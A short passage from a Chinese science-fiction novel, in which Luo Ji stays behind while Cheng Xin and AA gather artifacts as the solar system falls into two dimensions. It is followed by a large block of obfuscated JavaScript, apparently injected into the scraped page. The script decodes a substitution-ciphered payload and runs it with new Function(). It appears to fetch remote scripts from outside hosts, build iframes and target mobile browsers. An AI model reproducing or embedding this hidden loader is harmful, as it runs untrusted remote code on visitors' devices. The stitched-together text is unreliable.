但从跌落区逃脱是不可能的,刚才“星环”号a.i.的话实际是描述了这样一个景象:太阳系的三维空间像一张大地毯,正在被无形的手拖向二维深渊,而这些逃亡的飞船只是地毯上缓缓爬行的小虫子,甚至连有限的生存时间都延长不了多少。

“你们去吧,再拿一点就行了。

我在这里等着,我可不想错过那个。”

罗辑说,程心和aa都明白他说的“那个”是什么,她们都怕看到那一幕。

回到地下大厅后,程心和aa草草收集了一批文物,并没有挑选。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();